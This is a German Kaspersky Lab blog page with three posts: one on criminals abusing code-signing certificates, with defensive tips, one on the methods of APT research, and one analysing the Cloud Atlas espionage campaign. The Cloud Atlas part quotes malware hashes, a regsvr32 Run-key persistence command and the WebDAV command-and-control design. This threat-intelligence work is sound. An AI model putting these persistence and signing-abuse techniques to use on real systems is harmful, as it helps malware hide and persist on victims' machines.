Alle Bedrohungen

Viren

Hacker

Spam

Alle Seiten    Viren
  
Virus Enzyklopädie
Alarme
Analysen
Nachrichten
Glossar
Weblog

 
Kalender

<< 2015  
Jan Feb  
     
     
     
Über die Autoren des Tagebuches
Über die Autoren des Tagebuches

Das Analytiker-Tagebuch ist ein weblog, das von den Analytikern des Kaspersky Lab unter der Leitung von Eugene Kaspersky unterhalten wird. Erfahren Sie mehr über die Autoren des weblog.

Cybercrime Umfrage

Sobald Sie Ihren PC mit dem Internet verbinden, wird er zu einem potenziellen Ziel für Cyberkriminelle. Genauso wie Einbrecher bei einem ungesicherten Haus leichtes Spiel haben, ist ein ungeschützter PC wie eine offene Einladung an Autoren von Malware. Cyberbedrohungen werden nicht nur immer raffinierter, sondern nehmen auch ständig zu: Unser Antiviruslabor verzeichnet derzeit über 17.000 neue Internetbedrohungen pro Tag.

Zur Umfrage

 

  Home / Weblog

Analytiker-Tagebuch

Warum man mit digitalen Zertifikaten signierten Dateien nicht blind vertrauen darf


  29 Januar 2015 | 13:00  MSK

Ihr Kommentar  

Das Vertrauen in Dateien, die mit digitalen Zertifikaten signiert sind, bildet einen Anreiz für Cyberkriminelle, nach verschiedenen Mitteln und Wegen zu suchen, schädliche Dateien mit vertrauenswürdigen digitalen Zertifikaten zu signieren. Im vorliegenden Bericht werden die wichtigsten Bedrohungen diskutiert, die in Zusammenhang mit signierten Dateien stehen, und es werden Tipps gegeben, wie sich die Risiken minimieren lassen, die durch den Start solcher Dateien entstehen.

Andrey Ladikov

Das Vorhandensein von digitalen Zertifikaten wird immer mit der Sicherheit von Dateien gleichgesetzt. Für die Nutzer ist das Vorhandensein einer Signatur ein Zeichen dafür, dass die Datei keinen schädlichen Code enthält. Viele Systemadministratoren bauen die Sicherheitspolitik eines Unternehmens darauf auf, dass sie den Usern den Start von nur solchen Dateien erlauben, die mit einem digitalen Zertifikat signiert sind. Zudem stufen einige Antiviren-Scanner eine Datei als zweifelsfrei sicher ein, wenn sie mit einer gültigen digitalen Signatur versehen ist.

Mittlerweile ist es allerdings so, dass das übersteigerte Vertrauen in signierte Dateien Cyberkriminelle dazu veranlasst, nach Methoden zu suchen, schädliche Dateien mit vertrauenswürdigen Zertifikaten zu signieren, um diese Dateien dann im Folgenden zu verbrecherischen Zwecken zu verwenden.

Im vorliegenden Bericht werden die wichtigsten Bedrohungen diskutiert, die in Zusammenhang mit signierten Dateien stehen, und es werden Tipps gegeben, wie sich die Risiken minimieren lassen, die durch den Start solcher Dateien entstehen.

Erstellung einer digitalen Signatur

Um die Bedrohungen herauszuarbeiten, die mit der Verwendung von digitalen Zertifikaten zusammenhängen, betrachten wir zunächst die Reihenfolge der einzelnen Schritte, die beim Signieren einer Datei mit einer digitalen Signatur erforderlich sind:

  1. Ein Software-Entwickler kompiliert eine Datei.
  2. Aus der Datei wird eine der folgenden Hash-Funktionen errechnet: MD5, SHA1, SHA2.
  3. Der Hashwert der Datei wird mit einem privaten Schlüssel des Softwareentwicklers chiffriert.
  4. Der so erhaltene verschlüsselte Datenblock und das digitale Zertifikat werden an das Ende der Datei angefügt.

Das digitale Zertifikat enthält einen öffentlichen Schlüssel des Programmentwicklers, der die Entschlüsselung der Mitteilung und die Überprüfung der Dateiintegrität ermöglicht, sowie Informationen, die einen Identitätscheck des Softwareentwicklers möglich machen.

Der Nachweis der Authentizität des Dateiherstellers wird mit Hilfe einer vertrauenswürdigen Zertifizierungsstelle erbracht. Diese Organisation bestätigt anderen Anwendern, dass der öffentliche Schlüssel, mit dem die Hashfunktion entschlüsselt wird und die Integrität der Datei überprüft werden kann, tatsächlich diesem Softwareentwickler gehört. Dafür signiert die Zertifizierungsstelle das Zertifikat des Entwicklers, indem es damit gleichzeitig bestätigt, dass das einzigartige Paar aus öffentlichem und privatem Schlüssel genau diesem Entwickler gehört. Das Zertifikat der Zertifizierungsstelle, das die Echtheit der Datei bestätigt, wird zusammen mit dem Zertifikat des Entwicklers ebenfalls am Ende der Datei hinzugefügt.

Die Zertifikate der Zertifizierungsstellen werden von niemandem bestätigt, außer von diesen Organisationen. Damit das Betriebssystem Windows Zertifikaten vertraut, die von einer bestimmten Zertifizierungsstelle ausgegeben wurden, muss das Zertifikat dieser Stelle im Zertifikatsspeicher des Betriebssystems platziert werden. Die Zertifikate der angesehensten Zertifizierungsstellen, die ihrerseits eine Zertifizierung durchlaufen haben, werden automatisch in dem Speicher abgelegt und den Nutzern zusammen mit den Updates des Betriebssystems Windows geliefert. Die Zertifikate anderer Zertifizierungsstellen kann der Nutzer selbstständig dem Speicher hinzufügen, vorausgesetzt, er vertraut diesen Organisationen.

Nutzung vertrauenswürdiger Zertifikate durch Cyberkriminelle

Wir werfen jetzt einen Blick auf Attacken, die auf jeder einzelnen Etappe der Signatur einer Datei umgesetzt werden können. Dabei werden wir keine theoretischen Angriffe untersuchen, die mit schwachen kryptografischen Algorithmen zusammenhängen, die beim Signierungsprozess verwendet werden, sondern wir werden uns auf die Angriffsmethoden konzentrieren, die von Cyberkriminellen am häufigsten in der Praxis angewendet werden.

Einschleusung von Schadcode während der Kompilierung der Datei

In vielen großen Softwareschmieden wird die Signierung von Dateien automatisch umgehend nach Beendigung des Kompilierungsprozesses vollzogen, der ebenfalls zentralisiert auf einem speziellen Build-Server abläuft.

Nachdem sich ein Cyberkrimineller Zugriff auf das Unternehmensnetzwerk eines Softwareentwicklers verschafft hat, kann er den Build-Server der Firma nutzen, um auf ihm Schaddateien zu kompilieren und diese anschließend automatisch mit dem digitalen Zertifikat des Unternehmens signieren zu lassen. Als Ergebnis dieses Angriffs erhält der Online-Gangster eine schädliche Datei, die mit einer gültigen digitalen Signatur versehen ist.

In der Praxis ist diese Bedrohung allerdings recht selten, da die Build-Server in großen Softwareunternehmen ausreichend gut geschützt sind. Trotzdem ist ein Fall einer erfolgreichen zielgerichteten Attacke bekannt, die das Signieren von Schaddateien mit Zertifikaten vertrauenswürdiger Unternehmen zum Ziel hatte.

Diebstahl des privaten Schlüssels

Manchmal gelingt es Internetverbrechern in das Unternehmensnetzwerk einer Firma einzudringen und sich den privaten Schlüssel anzueignen, der zur Signatur von Dateien verwendet wird. Unter Verwendung dieses privaten Schlüssels können sie eine vorhandene schädliche Datei signieren und sie als Datei eines legalen Softwareherstellers ausgeben.

Eine Möglichkeit, den privaten Schlüssel zu stehlen, besteht im Einsatz einer speziellen Schadsoftware, die eigens für diesen Zweck entwickelt wurde.

Nach dem Diebstahl des privaten Schlüssels benutzt der Angreifer den geklauten Schlüssel entweder selbst oder er verkauft ihn weiter. Dabei gilt: Je bekannter der Softwarehersteller, dessen privater Schlüssel gestohlen wurde, desto interessanter ist er für Internetgauner, da Software von bekannten Herstellern kein Misstrauen bei den Nutzern und Sicherheitsadministratoren von Unternehmensnetzwerken weckt.

Allerdings werden die privaten Schlüssel in großen Unternehmen, die Software produzieren, separat, in gut geschützten Hardwaremodulen verwahrt, was ihren Diebstahl deutlich erschwert. Daher werden in der Regel die Schlüssel kleinerer Unternehmen oder freiberuflicher Softwareentwickler gestohlen, die der Sicherheit keine so große Bedeutung zumessen.

Sicherheitslücken im Überprüfungsalgorithmus der Signatur ausführbarer Dateien

Damit das Betriebssystem weiß, wo in der Datei es nach Informationen über das Vorhandensein einer digitalen Signatur suchen muss, enthält der Header jeder ausführbaren Datei 8 Byte Daten mit Informationen über den Standort und die Größe der digitalen Signatur, die bei der Überprüfung der digitalen Signatur ausgeschlossen werden. Wenn am Ende der Dateisignatur ein Datenblock ergänzt und die Größe der Signatur um den entsprechenden Wert gesteigert wird, so haben diese Veränderungen ebenfalls keine Auswirkungen auf die Überprüfung der Signatur. Dadurch wird es möglich, in einer signierten Datei zusätzlichen Raum zu gewinnen, wobei die Daten in diesem Raum das Ergebnis der Signaturüberprüfung nicht beeinflussen.

Dieser Algorithmus findet aktive Anwendung in legalen Web-Installern: Ihre Autoren verändern die Größe der Signatur so, dass ein zusätzlicher Datenblock auftaucht, der es ermöglicht, in den Block der digitalen Signatur einen Link auf die Datei einzufügen, die der jeweilige Installer von der Site des Softwareentwicklers herunterladen und im System des Anwenders installieren soll. Für Entwickler ist dieser Ansatz deswegen komfortabel, weil er es nicht erforderlich macht, den Installer bei jeder Veränderung des Links auf ein Distributiv des Programms erneut zu signieren – es reicht völlig aus, den Link zu verändern, der im Block der digitalen Signatur gespeichert ist.

Internetkriminelle verwenden den oben beschriebenen Algorithmus zu ihren eigenen Zwecken. Sie verändern in einem Web-Installer eines legalen Programms den Link auf das herunterzuladende Distributiv, damit der Installer Malware lädt und im System installiert. Daraufhin legt er den veränderten Installer auf den Websites ab, über die Programme verbreitet werden.

Um diese Sicherheitslücke zu beseitigen, hat Microsoft ein Sicherheitsupdate herausgebracht, das eine strenge Überprüfung der digitalen Signatur einer Datei ermöglicht. Allerdings wird dieses Update nicht automatisch angewendet, da viele Softwareentwickler den oben beschriebenen Algorithmus in ihren Installern verwenden und die Programme dieser Entwickler nach der automatischen Aktivierung dieses Updates als nicht mehr signiert gelten würden. Bei Bedarf können Nutzer dieses Update manuell aktivieren.

Nutzung eines auf legalem Wege erhaltenen Zertifikats

Während Zertifikate noch vor wenigen Jahren ausschließlich von großen Softwareherstellern (juristischen Personen) verwendet wurden, so werden sie heute immer häufiger auch von privaten Softwareentwicklern und kleineren Firmen eingesetzt. Die folgende Grafik zeigt die Zuwachsdynamik der Kaspersky Lab bekannten Zertifikate, die zum Signieren von Code vorgesehen sind. Wie man sieht, steigt die Zahl der Zertifikate von Jahr zu Jahr weiter an.

Zahl der Kaspersky Lab bekannten Zertifikate, deren Echtheit von Zertifizierungsstellen bestätigt wurde

Die notwendige Prozedur zum Erwerb eines Zertifikats zum Signieren von ausführbarem Code ist überaus einfach: Von Privatpersonen werden Ausweisdaten gefordert, von Unternehmen die entsprechenden juristischen Angaben. Dabei kontrollieren einige Stellen, die Zertifikate ausgeben, noch nicht einmal die Tätigkeit des Unternehmens, das ein Zertifikat erwirbt. Alles, was die Zertifizierungsstelle tut, ist, dass sie ein Zertifikat mit dem Recht zum Signieren von ausführbaren Dateien ausgibt und bestätigt, dass das Zertifikat tatsächlich an die jeweilige Person oder das jeweilige Unternehmen ausgegeben wurde.

Das eröffnet Cyberkriminellen die Möglichkeit, legal ein Zertifikat zum Signieren von schädlicher und potentiell unerwünschter Software zu kaufen.

Meistens greifen Unternehmen, die potentiell unerwünschte Software herstellen, auf den Erwerb eines Zertifikats zurück. Einerseits entwickeln diese Unternehmen keine schädliche Software, folglich können sie rechtmäßig ein digitales Zertifikat zum Signieren ihrer Programme erhalten. Andererseits bereitet die von diesen Unternehmen produzierte Software den Nutzern Unannehmlichkeiten. Um das Vertrauen in solche Programme seitens der Anwender zu stärken, werden solche Programme mit digitalen Zertifikaten signiert.

Nicht vertrauenswürdige Zertifikate

In allen oben beschriebenen Fällen – dem Diebstahl des privaten Schlüssels, dem Hack der Unternehmensinfrastruktur und der Signatur der Datei mit dem digitalen Zertifikat dieses Unternehmens, dem Kauf eines Zertifikats zum Zwecke des Signierens von schädlicher Software – in allen diesen Fällen läuft es auf ein und dasselbe hinaus: Ein vertrauenswürdiges Zertifikat signiert eine schädliche Datei.

Folglich können solche Zertifikate – ungeachtet der Tatsache, dass ihre Echtheit von einer Zertifizierungsstelle bestätigt wurde – nicht als vertrauenswürdig betrachtet werden, da sie zur Signatur von schädlichen Dateien benutzt wurden oder noch immer benutzt werden. Im Folgenden werden wir diese Zertifikate als nicht vertrauenswürdig bezeichnen.

Wird einem Softwareentwickler der private Schlüssel gestohlen oder wird illegal in die Infrastruktur eines Unternehmens eingedrungen und eine Schaddatei mit einem vertrauenswürdigen Zertifikat signiert, so bestätigen die Zertifizierungsstellen nicht länger die Vertrauenswürdigkeit der von ihnen vormals ausgegebenen Zertifikate (sie rufen das Zertifikat zurück). Die Reaktionsgeschwindigkeit der Zertifizierungsstellen hängt davon ab, wie schnell bekannt wird, dass das Zertifikat von irgendjemand anderem benutzt wurde als dem Entwickler.

Doch wird ein Zertifikat zum Zwecke der Signatur von potentiell unerwünschter Software gekauft, rufen die Zertifizierungszentren das Zertifikat nicht immer zurück, das heißt das Zertifikat behält seine Gültigkeit, wird dabei aber zur Signatur potentiell gefährlicher Programme benutzt.

Die folgende Grafik zeigt den Anteil der Zertifikate, die zur Signatur von potentiell unerwünschter Software benutzt werden, an allen nicht vertrauenswürdigen Zertifikaten (laut Daten von Kaspersky Lab).

Verteilung nicht vertrauenswürdiger Zertifikate nach Typen

Tipps zum Schutz vor dem Start von Programmen, die mit nicht vertrauenswürdigen Zertifikaten signiert sind

Wir haben die am weitesten verbreiteten Methoden betrachtet, die Cyberkriminelle verwenden, um ihre Dateien mit digitalen Zertifikaten zu signieren. Aktuell spitzt sich das Problem des Signierens von schädlichen und potentiell unterwünschten Programmen mit einem digitalen Zertifikat immer weiter zu: Während im Jahr 2008 etwa 1500 Zertifikate ausgegeben wurden, die in der Folge zum Signieren von Malware benutzt wurden, so gab es im Jahr 2014 bereits über 6000 solcher Zertifikate.

Veränderung der Zahl der Kaspersky Lab bekannten, nicht vertrauenswürdigen Zertifikate

In Anbetracht der Zunahme von Bedrohungen, die mit dem Signieren schädlicher Dateien zusammenhängen, dürfen Anwender und Administratoren dem Vorhandensein eines digitalen Zertifikats keinesfalls bedingungslos vertrauen und auf dieser Grundlage über den Start von signierten Dateien entscheiden.

Hier ein paar praktische Tipps, wie man die Wahrscheinlichkeit verringern kann, neue, den Virenscannern bisher unbekannte Malware auszuführen, die mit einem gültigen digitalen Zertifikat signiert ist:

  1. Nur solchen Programmen die Ausführung erlauben, die von bekannten Herausgebern signiert sind.

    Das Risiko einer Systeminfektion lässt sich deutlich reduzieren, wenn Programmen der Start untersagt wird, die mit einer digitalen Signatur eines unbekannten Softwareherstellers ausgestattet sind. Denn wie bereits oben geschildert, werden meistens Zertifikate von kleinen Softwareentwicklern gestohlen.

  2. Den Start von Programmen aufgrund einzigartiger Attribute der digitalen Signatur erlauben.

    Unter ein und derselben Bezeichnung können mehrere Zertifikate verbreitet werden, die von einem Unternehmen ausgegeben werden. Wird eins von diesen Zertifikaten eines bekannten Unternehmens gestohlen, wird der Start einer Datei, die mit dem gestohlenen Zertifikat signiert ist, erlaubt, wenn das einzige Kriterium das Vertrauen zu bekannten Softwareherstellern ist.

    Um solche Situationen auszuschließen, muss der Start von Programmen, die mit bekannten Zertifikaten signiert sind, auch aufgrund von anderen Attributen als dem Zertifikatsnamen erlaubt werden. Solche Attribute können die Seriennummer oder die Hash-Summe sein. Da die Seriennummer nur in den Grenzen der Zertifizierungsstelle unikal ist, empfiehlt es sich, sie in Kombination mit dem Namen des Unternehmens zu verwenden, das dieses Zertifikat signiert hat.

  3. Update MS13-098 aktivieren.

    Erfahrene Benutzer und Systemadministratoren sollten das Update MS13-098 aktivieren – es korrigiert einen Fehler, der es ermöglicht, in eine signierten Datei zusätzliche Daten einzufügen, ohne dabei die Signatur der Datei zu zerstören. Nähere Details zur Aktivierung dieses Updates finden Sie im Sicherheitscenter von Microsoft.

  4. Keine Zertifikate von unbekannten Zertifizierungsstellen im Zertifikatsspeicher ablegen.

    Es empfiehlt sich nicht, Wurzelzertifikate von unbekannten Zertifizierungsstellen im Speicher zu installieren, da im Folgenden alle Dateien, die mit von dieser Zertifizierungsstelle bestätigten Zertifikaten signiert sind, als vertrauenswürdig gelten werden.

  5. Eine von AV-Anbietern bereitgestellte Datenbank vertrauenswürdiger Zertifikate verwenden.

    Einige AV-Hersteller, darunter auch Kaspersky Lab, integrieren in ihre Produkte eine Datenbank vertrauenswürdiger und nicht vertrauenswürdiger Zertifikate, die regelmäßig zusammen mit den Antiviren-Datenbanken aktualisiert wird. So erhält man aktuelle Informationen über bisher noch nicht zurückgerufene Zertifikate, mit der schädliche und potentiell unerwünschte Software signiert wird. Dateien, die mit nicht vertrauenswürdigen Zertifikaten aus dieser Datenbank signiert sind, unterliegen einer verstärkten Kontrolle seitens des AV-Programms.

    In der Datenbank der vertrauenswürdigen Zertifikate sind Zertifikate bekannter Herausgeber enthalten, die zur Signatur vertrauenswürdiger Programme verwendet werden. Das Vorhandensein eines Zertifikats in dieser Datenbank könnte eine Erlaubnisregel für die Programmstartkontrolle im Unternehmensnetzwerk werden.

    Mit einer solchen Datenbank als Bestandteil eines AV-Produkts kann der Druck auf den Administrator gemindert werden, da er von der Aufgabe befreit wird, eine Datenbank vertrauenswürdiger Zertifikate zu erstellen und diese regelmäßig zu pflegen.

Die Zahl der digitalen Zertifikate, die zum Signieren schädlicher und potentiell unerwünschter Programme benutzt werden, verdoppelt sich durchschnittlich innerhalb eines Jahres. Daher ist eine verstärkte Kontrolle signierter Dateien durch einen Antiviren-Schutz und die Verfolgung der oben beschriebenen Sicherheitspolitik unerlässlich.

Die Kunst, Cyber-Dinoknochen zu finden


  Global Research and Analysis Team of Kaspersky Lab       22 Dezember 2014 | 18:48  MSK

Ihr Kommentar  

“APT-Forschung ist wie Paläontologie...”

Nach der Veröffentlichung unseres Berichts über die von einem Nationalstaat geförderte Regin-Operation wurden Stimmen laut, die fragten, ob Antimalware-Unternehmen auf Bitten von Regierungen und Kunden wissentlich Informationen – und auch Detektionen – zurückhalten. Eine ähnliche Frage warf Bruce Schneier im Jahr 2013 auf.

Um den wichtigsten Punkt gleich von vornherein aus der Welt zu räumen: Wir wurden noch nie von einem Kunden oder einer Regierungsorganisation aufgefordert, ein bestimmtes Malware-Sample auf die Weiße Liste zu setzen oder die Detektion einzustellen. Und wir würden nie auf eine solche Forderung eingehen, ganz egal, woher sie stammt.

So etwas kommt einfach nicht vor. In manchen Fällen werden im Rahmen von Ermittlungen zielgerichteter Attacken Geheimhaltungsvereinbarungen mit Kunden abgeschlossen, und wir sind verpflichtet, den Fall vertraulich zu behandeln, aber das betrifft nie das Hinzufügen von Detektionen und den Schutz unseres gesamten Kundenstammes vor Bedrohungen.

Warum hat es also zwei Jahre gedauert, bis wir endlich einen Bericht über Regin veröffentlichten? Ohne passenden Kontext kann es sein, dass Forscher etwas wirklich Wichtiges für eine ungewöhnlich lange Zeit geheim halten. Doch Sicherheitsermittlungen – ähnlich wie forensische Ermittlungen – machen akribische Untersuchungen und Analysen erforderlich und in vielen Fällen ist es wichtig zu beobachten, wie sich das Verbrechen in Echtzeit entfaltet, um einen richtigen Fall daraus machen zu können.

In unserem Fall – ohne unbegrenzte Mittel im Hintergrund und eingedenk der Tatsache, dass wir eine Vielzahl von APT-Akteuren gleichzeitig verfolgen (Careto/Mask, EpicTurla, Darkhotel, Miniduke/Cosmicduke, um nur einige zu nennen) -, werden Ermittlungen zu einem Monate, ja sogar Jahre währenden Prozess, wenn das Ziel das vollständige Verständnis einer Cyber-Operation sein soll.

Sean Sullivan von F-Secure lieferte die perfekte Beschreibung einer APT-Untersuchung, indem er sie mit der Arbeit eines Paläontologen verglich, der einige Knochen eines Dinosauriers gefunden hat. Jeder hat vielleicht einen Knochen, aber niemand hat das vollständige Skelett.

Im Fall von Regin entdeckten wir im Jahr 2012 als erstes einen leicht beschädigten Knochen von einem unbekannten Teil eines Monsters, das in einem mysteriösen Bergsee legt.

(Freundlicherweise zur Verfügung gestellt von southampton.ac.uk)

Findet irgendjemand einen Knochen, so mag er ihn wegwerfen und weiterziehen, doch wir in der Sicherheitsforschung sammeln die Dinge. Der Originalfund landete in unserer Sachen-Sammlung im Hinterhof. Wir haben viele solcher angeschlagenen Knochen von niemals gesehenen Monstern oder vielleicht auch von harmlosen Kreaturen. Manchmal hören wir etwas über Knochenteile, die von anderen gefunden wurden und das verleitet uns dann dazu, einen genaueren Blick darauf zu werfen. Doch in diesem frühen Stadium - ohne ausreichende Beweise – ist es nicht möglich, sinnvolle Schlussfolgerungen zu ziehen, und es ergibt keinen Sinn, mit den Entdeckungen an die Öffentlichkeit zu gehen, bevor man nicht mit Sicherheit behaupten kann, dass die Monster wirklich real, groß und gefährlich sind.

Wir forschen in viele Richtungen, um unterschiedliche Artefakte zu sammeln, die zu einigen Stücken aus unserer Sammlung passen oder eben auch nicht passen. Manchmal arbeiten wir mit anderen "Paläontologen" zusammen und teilen unsere Entdeckungen. Haben wir einmal ausreichend viele Knochen von einem Monster zusammengetragen, um seine potentielle Größe, die Gefahr, die von ihm ausgeht und seinen möglichen Lebensraum zu bestimmen, können wir in die nächste Phase eintreten, bei der es sich dann schon um echte, aktive Ermittlungsarbeit handelt, die uns zu dem mysteriösen Bergsee führen könnte.

Ein umfassendes APT-Forschungsprojekt läuft in mehreren Stufen ab:

  1. Detektion für bekannte Module hinzufügen
  2. Samples sammeln
  3. Samples reversieren
  4. Raffinierte Verschlüsselungs - und Komprimierungstechniken entschlüsseln
  5. Laterale Bewegungen nachvollziehen
  6. Die einzelnen Angriffsstufen in die richtige Reihenfolge bringen
  7. Die C&C-Infrastruktur aufzeichnen
  8. Sinkholes errichten
  9. Den gesammelten Traffic und die Kommunikationsprotokolle analysieren
  10. Andere Hosts abarbeiten, die dasselbe Protokoll verstehen
  11. C&C-Server demontieren und Abbilder von ihnen erstellen
  12. Opfer identifizieren, Opfer und die globalen CERTs benachrichtigen
  13. Forensische Analyse anwenden und Protokolle, gestohlene Dateien und andere Komponenten herausziehen
  14. Die Daten vom KSN, den C&C-Servern und individuellen Opfern, die gewillt sind, mit uns zusammenzuarbeiten, von Sinkholes, Crawlern usw. sammeln und analysieren
  15. Einen umfassenden Bericht schreiben

Wenn wir Glück haben, finden wir ein Monster in freier Wildbahn – die beste Quelle für wissenschaftliche Studien. In den meisten Fällen, Regin eingeschlossen, lernen wir von dem Verhalten eines lebendigen Monsters. Wir zeichnen jeden einzelnen Schritt und jedes Vorhaben auf.

Gleichzeitig können wir es auch einfangen und im Labor studieren wie Zoologen. Trotzdem bekommen wir in vielen Forschungsuntersuchungen nur ein Skelett eines Monsters zu sehen. Wir müssen alles zusammensetzen und rekonstruieren, wie das Monster sich bewegt und verhalten hat, welche Arten es angegriffen hat und wie diese Attacken koordiniert wurden. Einfach ausgedrückt: Es erfordert Zeit und Geduld.

Außerdem: Wenn wir die Eigenschaften einer bestimmten Kreatur analysieren, berücksichtigen wir dabei auch, dass die Evolution voranschreitet und es auch noch andere Spezies gibt, lebendig und aktiv, dabei aber komplett unsichtbar für uns.

Während einige der Regin-Samples schon früh auf unserem Radar erschienen und während wir im Laufe unserer Untersuchungen immer wieder zusätzliche Samples und Artefakte gefunden haben, sind wir doch überzeugt, dass es auch noch andere gibt, die bisher noch unbekannt und unentdeckt sind. In der Vergangenheit wusste man nur wenig über ihre Leben und ihre Existenz, aber wir wissen, dass sie da waren, weil wir im Laufe der Zeit winzige Fragmente gefunden haben. Und ich muss erneut einen Bezug zur Paläontologie herstellen, denn an dem Großen und Ganzen gemessen haben wir erst einen kleinen Teil des gesamten Biests entdeckt, aber immerhin schon genug, um einen öffentlichen Alarm auszulösen.

Wie im Fall von Regin detektieren wir manchmal schon seit Jahren Teile einer Malware, bevor wir bemerken, dass sie Teil einer globalen Cyberspionage-Kampagne sind. Ein gutes Beispiel dafür ist die Geschichte von Roter Oktober. Wir haben schon lange Komponenten von Roter Oktober detektiert, bevor wir herausfanden, dass sie in zielgerichteten Attacken gegen diplomatische Einrichtungen, Regierungsorganisationen und wissenschaftliche Forschungsinstitute eingesetzt wurden.

Bei Kaspersky Lab bearbeiten wir tagtäglich hunderttausende Samples. Die Kunst, herauszufinden, welche von ihnen von Bedeutung sind, und weiterhin auszumachen, welche als Teil einer groß angelegten APT-Attacke zusammengehören, ist mit der Suche nach Nadeln in einem großen Heuhaufen vergleichbar. Hat man welche gefunden, muss man anschließend noch herauszufinden, welche Nadeln zu welcher Strickarbeit gehören. Wir sind dankbar für jede Nadel, die wir finden, denn dadurch wird die Welt ein wenig sicherer.

Cloud Atlas: APT Roter Oktober ist wieder im Spiel


  Global Research and Analysis Team of Kaspersky Lab       22 Dezember 2014 | 14:58  MSK

Ihr Kommentar  

Vor zwei Jahren veröffentlichten wir eine Studie über Roter Oktober, eine komplexe Cyberspionage-Operation, die diplomatische Einrichtungen und Botschaften auf der ganzen Welt angriff. Wir tauften die Kampagne auf den Namen Roter Oktober, da wir unsere Ermittlungen in diesem Fall im Oktober 2012 starteten, einem ungewöhnlich heißen Monat.

Nach unseren Enthüllungen im Januar 2013 wurde die Operation Roter Oktober umgehend abgeblasen und das Netzwerk von Command-und-Control-Servern wurde demontiert. Wie immer bei derart umfangreichen Operationen sind sie – gerade auch wegen der großen Investitionen und der Menge an Ressourcen, die dahinter stecken –, nicht auf einen Schlag und für immer von der Bildfläche verschwunden. Normalerweise taucht eine solche Gruppe für ein paar Wochen unter, baut die Tools und die Schadprogramme um und belebt die Operation wieder neu.

Siehe hierzu auch:

Seit Januar 2013 warten wir auf ein potentielles Comeback von Roter Oktober. Ein möglicher Treffer war Mevade, ein ungewöhnliches Stück Schadcode, das Ende 2013 auf der Bildfläche erschien. Die Namen der C&C von Mevade sowie einige technische Ähnlichkeiten deuteten auf eine Verbindung zu Roter Oktober hin, doch der Link war nur schwach. Erst im August 2014 konnten wir Beobachtungen machen, die uns vermuten ließen, dass Roter Oktober endgültig zurückgekehrt ist.

Dürfen wir vorstellen? Cloud Atlas!

Im August 2014 bemerkten einige unserer Nutzer zielgerichtete Attacken mit einer Variation von CVE-2012-0158 und einem ungewöhnlichen Schadprogramm-Set. Wir führten eine Schnellanalyse der Malware durch und sie fiel sofort wegen einiger ungewöhnlicher Dinge auf, die in der APT-Welt nicht unbedingt gängig sind.

Unter den Namen der in den Attacken verwendeten Dateien waren auch die folgenden:

  • FT - Ukraine Russia's new art of war.doc
  • Катастрофа малайзийского лайнера.doc
  • Diplomatic Car for Sale.doc
  • МВКСИ.doc
  • Organigrama Gobierno Rusia.doc
  • Фото.doc
  • Информационное письмо.doc
  • Форма заявки (25-26.09.14).doc
  • Информационное письмо.doc
  • Письмо_Руководителям.doc
  • Прилож.doc
  • Car for sale.doc
  • Af-Pak and Central Asia's security issues.doc

Mindestens eine erinnerte uns sofort an die Kampagne Roter Oktober, im Rahmen derer auch ein sehr ähnlicher Spearphishing-Ansatz verwendet wurde: "Diplomatic Car for Sale.doc". Je tiefer wir mit unserer Analyse in die Operation vordrangen, desto mehr Details kamen zum Vorschein, die diese Theorie unterstützten.

Das Ungewöhnlichste war wahrscheinlich, dass das Microsoft Office-Exploit nicht direkt eine Windows PE-Backdoor auf die Festplatte geschrieben hat. Stattdessen schreibt es ein verschlüsseltes Visual Basic Script und führt es aus.

Exploit-Payload von Cloud Atlas - VBScript

Dieses VBScript wirft ein Dateien-Paar auf der Festplatte ab – einen Loader und eine verschlüsselte Payload. Der Loader scheint jedes Mal anders zu sein und interne Zeichenketten weisen darauf hin, dass er "polymorph" generiert wurde. Die Payload ist immer mit einem einzigartigen Schlüssel chiffriert, wodurch es unmöglich wird, sie zu entschlüsseln, wenn die DLL nicht verfügbar ist.

Wir haben mehrere verschiedene Spearphishing-Dokumente gefunden, die individuell benannte Payloads transportieren. Beispielsweise wirft die MD5 der Datei "qPd0aKJu.vbs":

E211C2BAD9A83A6A4247EC3959E2A730 die folgenden Dateien ab:

DECF56296C50BD3AE10A49747573A346 - bicorporate – verschlüsselte Payload
D171DB37EF28F42740644F4028BCF727 - ctfmonrn.dll - Loader

Das VBS ergänzt zudem einen Registrierungsschlüssel:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ der den Schlüssel "bookstore" auf den Wert "regsvr32 %path%\ctfmonrn.dll /s" einstellt, wodurch sichergestellt wird, dass die Malware bei jedem Systemboot ausgeführt wird.

Zu den DLL-Namen, die wir beobachtet haben, gehören:

f4e15c1c2c95c651423dbb4cbe6c8fd5 - bicorporate.dll649ff144aea6796679f8f9a1e9f51479 - fundamentive.dll
40e70f7f5d9cb1a669f8d8f306113485 - papersaving.dll
58db8f33a9cdd321d9525d1e68c06456 - previliges.dll
f5476728deb53fe2fa98e6a33577a9da - steinheimman.dll

Einige der Payload-Namen enthalten:

steinheimmanpapersaving
previliges
fundamentive
bicorporate
miditiming
damnatorily
munnopsis
arzner
redtailed
roodgoose
acholias
salefians
wartworts
frequencyuse
nonmagyar
shebir
getgoing

Die Payload umfasst einen verschlüsselten Konfigurationsblock, der Informationen über den C&C-Server enthält:

Die Informationen aus der config beinhalten eine WebDAV URL, die für Verbindungen benutzt wird, einen Nutzernamen und ein Passwort, zwei Ordner auf dem WebDAV-Server zum Speichern von Plugins/Modulen für die Malware und zum Upload der beim Opfer gesammelten Daten.

C&C-Kommunikation

Die CloudAtlas-Implantate wenden einen recht ungewöhnlichen C&C-Mechanismus an. Alle Malware-Samples, die uns untergekommen sind, kommunizieren via HTTPS und WebDav mit demselben Server von "cloudme.com", einem Cloud-Services-Provider. Laut der offiziellen Website ist CloudMe im Besitz von CloudMe AB und wird auch von diesem Unternehmen mit Sitz in Linköping, Schweden, betrieben.

(Wichtige Anmerkung: Wir glauben nicht, dass CloudMe in irgendeiner Weise mit der CloudAtlas-Gruppe in Verbindung steht – die Angreifer erstellen einfach kostenlose Accounts bei diesem Provider und missbrauchen sie als Command-and-Control-Accounts).

Doch jedes Schadprogramm-Set, das wir bisher beobachtet haben, kommuniziert mit einem anderen CloudMe-Account. Die Angreifer laden Daten auf den Account hoch, die vom Implantat heruntergeladen, entschlüsselt und ausgewertet werden. Im Gegenzug lädt die Malware mit Hilfe desselben Mechanismus‘ die Antworten zurück auf den Server hoch. Sicherlich ist es möglich, die Malware neu zu konfigurieren, so dass jeder Cloud-basierte Speicherdienst genutzt werden kann, der WebDAV unterstützt.

Hier ein Beispiel für einen solchen Account von CloudMe:

Die Daten von dem Account:

